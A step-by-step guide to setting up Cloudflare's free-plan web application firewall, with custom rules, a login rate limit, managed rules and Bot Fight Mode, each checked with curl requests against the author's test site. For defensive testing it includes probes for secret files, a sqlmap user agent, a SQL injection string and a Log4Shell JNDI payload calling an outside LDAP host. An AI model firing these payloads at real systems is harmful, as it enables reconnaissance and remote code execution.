A web application firewall (WAF) is a filter in front of your website: it stops bad requests before they reach your server. Think of the bots that ask every site for a .env file full of passwords, the scripts that try thousands of logins, the vulnerability scanners. Cloudflare runs its WAF on its own network, so if your domain already goes through Cloudflare (proxied, orange-cloud records), you can use it on the free plan. This guide sets it up for production on a free zone: four custom rules, a rate limit on the login page, the Free Managed Ruleset and Bot Fight Mode, each one checked with real requests.
Tested on 26 November 2026 on a free Cloudflare account (NexaForge, our test account) and its test site, from an Ubuntu 26.04.1 laptop with curl 8.18. Every command below ran there, and every screenshot shows its real output.
Quick answer: the Cloudflare WAF on the free plan
In plain words: the free plan gives you five custom rules (your own "if the request looks like this, block it" conditions), one rate limiting rule (one IP address sends too many requests in 10 seconds: block it), a small ruleset that Cloudflare keeps up to date for famous attacks, Bot Fight Mode and Browser Integrity Check. You write the rules in the dashboard, under Security > Security rules.
- Save a small test script and run it once, so you know what your site answers today.
- Rule 1: block probes for secret files and WordPress logins, with
lower()andstarts_with(). - Rule 2: block scanners and requests with no user agent.
- Rule 3: put a Managed Challenge in front of
/admin, except for your office IP address. - Rule 4: block the HTTP methods your site never uses.
- Add a rate limiting rule on your login path: 5 requests in 10 seconds per IP address.
- Run the script again, then read Security Events to see which rule stopped what.
- Leave the Free Managed Ruleset on. Turn Bot Fight Mode on only if no API, mobile app or monitor uses the same hostname.

Is the Cloudflare WAF free? What each plan includes in 2026
Yes. The WAF is part of every plan, Free included. The plans change how many rules you get and what the rules can look at. These are Cloudflare's published limits and prices, checked on 26 November 2026:
| Free | Pro | Business | Enterprise | |
|---|---|---|---|---|
| Price | $0 | $20 a month billed yearly, or $25 monthly | $200 a month billed yearly, or $250 monthly | Contract |
| Custom rules | 5 | 20 | 100 | 1,000 |
| Regular expressions in rules | No | No | Yes | Yes |
| Rate limiting rules | 1 | 2 | 5 | 100 |
| Rate limiting period | 10 seconds | Up to 1 minute | Up to 10 minutes | Up to 65,535 seconds |
| Rate limiting block time | 10 seconds | Up to 1 hour | Up to 1 day | Up to 1 day |
| Rate limiting can match | Path, verified bots | Also host, URI, query | Also method, source IP, user agent | Request and header fields |
| Managed rulesets | Free Managed Ruleset | Also Cloudflare Managed Ruleset and OWASP Core Ruleset | Same as Pro | Same, plus Sensitive Data Detection |
| Security Events | Sampled logs only | All dashboard features | All, export up to 500 events | All, export up to 500 events |
Two limits shape a free setup. Five custom rules are enough if each rule groups related checks with or, as rule 1 below does. And the free rate limiting rule can only look at the path: one rule, one login address, counted per IP address over 10 seconds. The Log action (watch what a rule would do without acting) is Enterprise only, so on the free plan you test a rule by deploying it and checking the result, as this guide does.
Step 1: a test script and a baseline
Before you change anything, record what your site answers to the requests you want to stop. This script sends eleven requests with curl and prints the HTTP status of each one. Save it as waf-check.sh, make it executable with chmod +x waf-check.sh, and put your own site in the site= line (or pass the address as the first argument).
#!/usr/bin/env bash
# Prints the HTTP status of each test request. Usage: ./waf-check.sh [site]
site=${1:-https://test.nexaforge.si}
check() { printf '%-26s %s\n' "$1" "$(curl -s -o /dev/null -w '%{http_code}' "${@:2}")"; }
check 'GET /' "$site/"
check 'GET /getting-started' "$site/getting-started"
check 'GET /wp-login.php' "$site/wp-login.php"
check 'GET /WP-LOGIN.PHP' "$site/WP-LOGIN.PHP"
check 'GET /.env' "$site/.env"
check 'GET /%2eenv' "$site/%2eenv"
check 'GET /.git/config' "$site/.git/config"
check 'GET /admin/' "$site/admin/"
check 'User-Agent: sqlmap/1.8' -A 'sqlmap/1.8' "$site/"
check 'no User-Agent' -H 'User-Agent:' "$site/"
check 'DELETE /' -X DELETE "$site/"
Then run it:
./waf-check.sh
The two real pages answer 200. The probes for /wp-login.php, /.env, /.git/config and /admin/ get 404: the files do not exist, but every one of those requests still reached the server, which had to answer it. The encoded /%2eenv got a redirect (307). The sqlmap user agent already gets 403 from Browser Integrity Check, which was on in the zone's settings. A request with no user agent at all still gets 200, and DELETE gets 405 from the server. The goal of the rules: a 403 from Cloudflare for every probe, so the server never sees them.
Step 2: rule 1, block probes for secret files and WordPress logins
Bots ask every site for the same paths: /.env (database passwords and API keys), /.git/config (a way into the source code), /wp-login.php and /xmlrpc.php (WordPress logins). If your site does not use them, no real visitor asks for them.
In the dashboard, open your domain, go to Security > Security rules and select Create rule > Custom rules. Give the rule a name, open the expression editor (Edit expression) under "When incoming requests match", and paste:
(lower(http.request.uri.path) in {"/wp-login.php" "/xmlrpc.php"}) or starts_with(lower(http.request.uri.path), "/.env") or starts_with(lower(http.request.uri.path), "/.git")lower() turns the path into lowercase first. String comparisons in Cloudflare rule expressions are case-sensitive, so without it /WP-LOGIN.PHP would pass. starts_with() also catches /.env.backup and /.git/HEAD. Choose the action Block, keep the status Active and select Deploy.

Cloudflare asks for a confirmation, because the rule acts on live traffic at once:

On a WordPress site, leave /wp-login.php and /xmlrpc.php out of this rule (you would lock yourself out) and protect the login with the rate limiting rule of step 5 instead.
Step 3: rules 2 to 4, scanners, the admin area and unused methods
Create three more custom rules the same way. Each one has a single job, so Security Events tells you exactly which one acted.
Rule 2: Block empty user agents and scanners. Every browser sends a User-Agent header. A request that sends none, or that names a scanning tool, does not come from a reader. Action: Block.
(http.user_agent eq "") or (lower(http.user_agent) contains "sqlmap") or (lower(http.user_agent) contains "nikto")Rule 3: Challenge the admin area. A Managed Challenge lets a person through after a check in the browser, which a script cannot pass. Replace 192.0.2.10 with your office's public IP address, so your own team skips the check. Action: Managed Challenge.
starts_with(lower(http.request.uri.path), "/admin") and not ip.src in {192.0.2.10}
For an admin area that only your team uses, a sign-in in front of it is stronger than a challenge: Cloudflare Access does that on the free plan.
Rule 4: Block methods the site does not use. A static site or a simple CMS needs GET, HEAD, POST and OPTIONS. Action: Block. If your site has an API that uses PUT, PATCH or DELETE (Nextcloud and other WebDAV apps do), add those methods to the list, or leave this rule out.
not http.request.method in {"GET" "HEAD" "POST" "OPTIONS"}Custom rules run in list order, and a Block stops the evaluation for that request, so the order only matters when two rules can match the same request. With the four rules deployed, the Security rules page shows 4 of the 5 custom rules the free plan allows (the screenshot at the top of this guide).
Step 4: test the rules and see which one acted
Run the script again, then two more checks: the title of the page a blocked visitor sees, and the headers of the challenged admin page.
./waf-check.sh
curl -s https://test.nexaforge.si/.env | grep -o '<title>[^<]*</title>'
curl -sI https://test.nexaforge.si/admin/ | grep -iE '^(http|cf-mitigated)'
Every probe now gets 403 from Cloudflare, and the two real pages still get 200. Three details matter for production:
/WP-LOGIN.PHPis caught because oflower()./%2eenvis caught because Cloudflare decodes%2einto a dot before custom rules see the path (URL normalization). An encoded path does not slip past the rule.- The challenged
/admin/answers a script with 403 and the headercf-mitigated: challenge. A browser gets the challenge page instead.
To see why a request was stopped, open Security > Analytics and the Events tab. Under Sampled logs, expand a row: Service and Rule tell you what acted, and Request details show the path, the method and the user agent. On the free plan, the dashboard shows sampled logs only, for up to the last 31 days.

Step 5: rate limiting on the free plan, protect the login page
A rate limiting rule counts the requests from each IP address and blocks an address that goes over the limit. The free plan has one such rule. It can only match on the path, and both the counting period and the block time are 10 seconds.
Under Security > Security rules, select Create rule > Rate limiting rules. Name the rule and enter the expression with your login path:
http.request.uri.path eq "/login"
Below the expression: "With the same characteristics" is IP (the only choice on the free plan). "When rate exceeds": 5 requests, period 10 seconds. "Then take action": Block. "For duration": 10 seconds. Then Deploy.

Test it with eight quick requests, one request to the home page while the block is on, the headers of a blocked answer, and one more request after 11 seconds:
for i in $(seq 1 8); do curl -s -o /dev/null -w '%{http_code} ' https://test.nexaforge.si/login; done; echo
curl -s -o /dev/null -w '%{http_code}\n' https://test.nexaforge.si/
curl -sI https://test.nexaforge.si/login | grep -iE '^(http|retry-after)'
sleep 11; curl -s -o /dev/null -w '%{http_code}\n' https://test.nexaforge.si/login
Our test site has no /login page, so its normal answer is 404. The first five requests got that 404, the next three got 429 (Too Many Requests). The home page still answered 200 during the block, because the rule only counts /login. The 429 came with retry-after: 7, the seconds left in the block, and after 11 seconds /login answered normally again.
Five requests in 10 seconds is far more than a person typing a password needs, and it slows a password-guessing script down to 30 tries a minute per IP address at most. The free rule cannot match the method, so page loads (GET) and form posts (POST) count alike. To ban an address for longer on the server itself, add CrowdSec or Fail2ban behind Cloudflare.
Step 6: the Free Managed Ruleset, what it stops and what it lets through
The Free Managed Ruleset runs on every zone; on the free plan the settings page marks it "Always active". Cloudflare describes it as protection against high-impact and widely exploited vulnerabilities. Two requests show what that means in practice:
curl -s -o /dev/null -w '%{http_code}\n' 'https://test.nexaforge.si/?q=$%7Bjndi:ldap://example.com/a%7D'
curl -s -o /dev/null -w '%{http_code}\n' 'https://test.nexaforge.si/?id=1%27%20OR%20%271%27=%271'
The Log4Shell probe (a ${jndi:ldap://...} string in the query) got 403. The classic SQL injection string 1' OR '1'='1 got 200: the free ruleset does not look for it. Security Events names the rule that acted, Log4j URI, in the Cloudflare Managed Free Ruleset.

So the free ruleset is a safety net for famous exploits, not a filter for the bugs in your own code. Use parameterized queries in your application. The Cloudflare Managed Ruleset and the OWASP Core Ruleset come with the Pro plan; to run OWASP rules for free, a self-hosted WAF in front of the app can do it.
Step 7: Bot Fight Mode, and when to leave it off
Bot Fight Mode challenges requests that match Cloudflare's bot patterns. Turn it on under Security > Settings: filter by Bot traffic and switch Bot fight mode on.

With it on, we checked what a script gets and what the page now carries:
curl -sI https://test.nexaforge.si/ | grep -iE '^(http|cf-mitigated)'
curl -s https://test.nexaforge.si/ | grep -o 'cdn-cgi/challenge-platform/[a-z/]*' | head -n 1
curl from a home connection still got 200, with no challenge: Bot Fight Mode acts on requests that match its bot patterns, not on every script. The page now loads Cloudflare's JavaScript detections script from /cdn-cgi/challenge-platform/. Cloudflare's docs say this script comes on automatically with Bot Fight Mode and cannot be disabled. When we switched Bot Fight Mode off again, the script was still in the page two minutes later.
Before you turn it on in production, know three limits from Cloudflare's docs:
- It may challenge API or mobile app traffic.
- You cannot skip it with custom rules or Page Rules: it runs outside the rules engine, so Skip, Bypass and Allow have no effect on it.
- A strict Content Security Policy must allow the scripts under
/cdn-cgi/challenge-platform/.
If an API, a mobile app or a monitoring service uses the same hostname, leave it off, or use Super Bot Fight Mode on a paid plan, which supports skip rules. Requests it challenges show up in Security Events with the service Bot Fight Mode.
Production checklist
- Deploy one rule at a time and run the test script after each one.
- Watch Security Events for a few days. A blocked request from a real visitor tells you which rule to narrow.
- Keep your office and your uptime monitor in the exception list of the challenge rule.
- Write your rules down, or keep them as code: Cloudflare documents custom rules through the API and Terraform, so you can rebuild them on a new zone.
- The WAF only sees traffic that goes through Cloudflare. If your server's IP address is reachable directly, accept web traffic from Cloudflare only, or put the server behind a Cloudflare Tunnel.
- Review the rules when the site changes: a new API, a new admin path or a move to WordPress can turn a good rule into a broken login.
Errors and fixes
| What you see | Why | Fix |
|---|---|---|
A real visitor gets 403 and the page title Attention Required! | Cloudflare | A custom rule or a managed rule blocked the request. | In Security Events, open the request: Service and Rule name the cause. Narrow that rule, or add a skip rule for that path or IP address. |
HTTP/2 403 with cf-mitigated: challenge in a script or a monitor | A Managed Challenge: scripts cannot solve it. | Add the monitor's IP address to the rule's exception, as rule 3 does with not ip.src in {...}. |
HTTP/2 429 with retry-after: 7 | The rate limiting rule blocked this IP address. | Wait for the block to end. If real users hit it, raise the number of requests; the 10-second period cannot change on the free plan. |
A rule does not catch /WP-LOGIN.PHP | String comparisons in rule expressions are case-sensitive. | Compare lower(http.request.uri.path) with a lowercase string, as rule 1 does. |
No Log action in the list of actions | Log is only available on Enterprise. | Test with Managed Challenge first, check Security Events, then switch the rule to Block. |
| Bot Fight Mode challenges your app or API, and a skip rule changes nothing | Bot Fight Mode runs outside the rules engine. | Turn Bot Fight Mode off for that zone, or use Super Bot Fight Mode on a paid plan with a skip rule. |
Browser console: Refused to execute inline script because it violates the following Content Security Policy directive | Your Content Security Policy blocks the JavaScript detections script of Bot Fight Mode. | Allow the scripts under /cdn-cgi/challenge-platform/ in the policy. |
Frequently asked questions
Is the Cloudflare WAF free?
Yes. The free plan includes 5 custom rules, 1 rate limiting rule (path only, 10 seconds), the Free Managed Ruleset, Bot Fight Mode and Browser Integrity Check. Everything in this guide ran on the free plan.
How much does the Cloudflare WAF cost?
The WAF comes with the plan; it is not sold alone. Pro costs $20 a month billed yearly ($25 monthly) and gives 20 custom rules, 2 rate limiting rules, the Cloudflare Managed Ruleset and the OWASP Core Ruleset. Business costs $200 a month billed yearly ($250 monthly) and adds regular expressions and 100 custom rules. Enterprise is priced by contract (Cloudflare's plans page, checked 26 November 2026).
How many rate limiting rules do I get on the free plan?
One. It can match the path (and verified bots), counts requests per IP address over 10 seconds, and blocks for 10 seconds. In our test, 5 requests per 10 seconds on /login answered the sixth request with 429.
Does the free Cloudflare WAF block SQL injection?
Not the classic kind. In our test, ?id=1' OR '1'='1 got 200 on the free plan, while a Log4Shell probe got 403. The free ruleset targets famous, widely exploited vulnerabilities. Fix SQL injection in the code with parameterized queries; on Pro, the Cloudflare Managed Ruleset and the OWASP Core Ruleset add checks for it.
What is the difference between Block and Managed Challenge?
Block always answers 403 with Cloudflare's block page. Managed Challenge checks the visitor in the browser and lets a person through; a script like curl gets 403 with the header cf-mitigated: challenge. Use Block for requests no person sends, and Managed Challenge for pages people do use.
Can I skip Bot Fight Mode for my API or monitoring?
No. Cloudflare's docs say Bot Fight Mode cannot be skipped with custom rules or Page Rules, because it runs outside the rules engine. Turn it off for that zone, move the API to a hostname in a zone without it, or use Super Bot Fight Mode on a paid plan, which supports skip rules.
Does the WAF protect my server if someone uses its IP address directly?
No. The rules only apply to requests that go through Cloudflare. If attackers find your server's IP address, they can skip the WAF. Let the server accept web traffic from Cloudflare only, or connect it through a Cloudflare Tunnel so it needs no open port.
Related guides
- Cloudflare WAF full transaction detection: availability, use cases and response rules
- Choosing an Open-Source Web Application Firewall for a Self-Hosted App
- CrowdSec vs Fail2ban: Real Tests on Ubuntu 26.04 (SSH, Nginx, Docker, RAM) and How to Switch Safely
- How to Respond to a DDoS Attack on a Self-Hosted Site
- Cloudflare Zero Trust 101: Put a Self-Hosted App Behind Access (Free Plan, 2026)
- Cloudflare CDN Caching for a Self-Hosted Site
- How to create cloudflare tunnel and expose your services with-synology
Sources
- Cloudflare WAF docs: custom rules
- Cloudflare WAF docs: common custom rule use cases
- Cloudflare WAF docs: skip rules
- Cloudflare WAF docs: rate limiting rules
- Cloudflare WAF docs: rate limiting parameters
- Cloudflare WAF docs: managed rules
- Cloudflare WAF docs: Security Events
- Cloudflare WAF docs: Browser Integrity Check
- Cloudflare bots docs: Bot Fight Mode
- Cloudflare Rules docs: URL normalization
- Cloudflare Rules language: functions
- Cloudflare Rules language: operators
- Cloudflare plans and pricing
Leave a comment
Your email address will not be published. Required fields are marked *